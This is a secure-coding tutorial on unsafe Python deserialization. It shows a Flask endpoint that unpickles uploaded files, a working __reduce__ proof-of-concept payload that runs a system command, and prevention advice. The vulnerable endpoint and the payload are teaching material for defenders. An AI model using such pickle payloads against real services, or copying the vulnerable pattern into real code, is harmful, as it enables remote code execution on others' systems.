Unsafe Deserialization in Python
Vulnerable example
Python provides a native solution for this problem - the pickle
library. The following Flask endpoint provides an example where untrusted data is fed into the pickle.loads
function:
import pickle
@app.route("/import_object", methods=['POST'])
def import_object():
data = request.files.get('user_file').read()
user_object = pickle.loads(data)
store_in_database(user_object)
return 'OK'
A malicious user could craft a payload that evaluates as code when unpickled. The Python program below outputs a payload that executes a system command when processed by pickle.loads
:
import pickle
import os
class Pickle(object):
def __reduce__(self):
return os.system, ('id > /tmp/proof',)
o = Pickle()
p = pickle.dumps(o)
print(p)
The __reduce__
method provides the logic to unserialize/serialize the object. When a tuple is returned, the first element is a callable, and the second represents its argument. Thus, it is possible to execute system commands by using the os.system
function. In the above case, the payload writes the output of the id
command to /tmp/proof
. Here is an example:
sf@secureflag.com:~$ python3 generate.py
b'\x80\x03cposix\nsystem\nq\x00X\x0f\x00\x00\x00id > /tmp/proofq\x01\x85q\x02Rq\x03.'
sf@secureflag.com:~$ python3
>>> import pickle
>>> pickle.loads(b'\x80\x03cposix\nsystem\nq\x00X\x0f\x00\x00\x00id > /tmp/proofq\x01\x85q\x02Rq\x03.')
0
sf@secureflag.com:~$ cat /tmp/proof
uid=1000(sf) gid=1000(sf) groups=1000(sf)
Prevention
The pickle
library’s documentation discourages the unpickling of untrusted data and suggests using data-only serialization formats such as JSON.
If you really need to unserialize content from an untrusted source, consider implementing a message authentication code (MAC) to ensure the data integrity of the payload.
References
OWASP - Deserialization Cheat Sheet Wikipedia - Serialization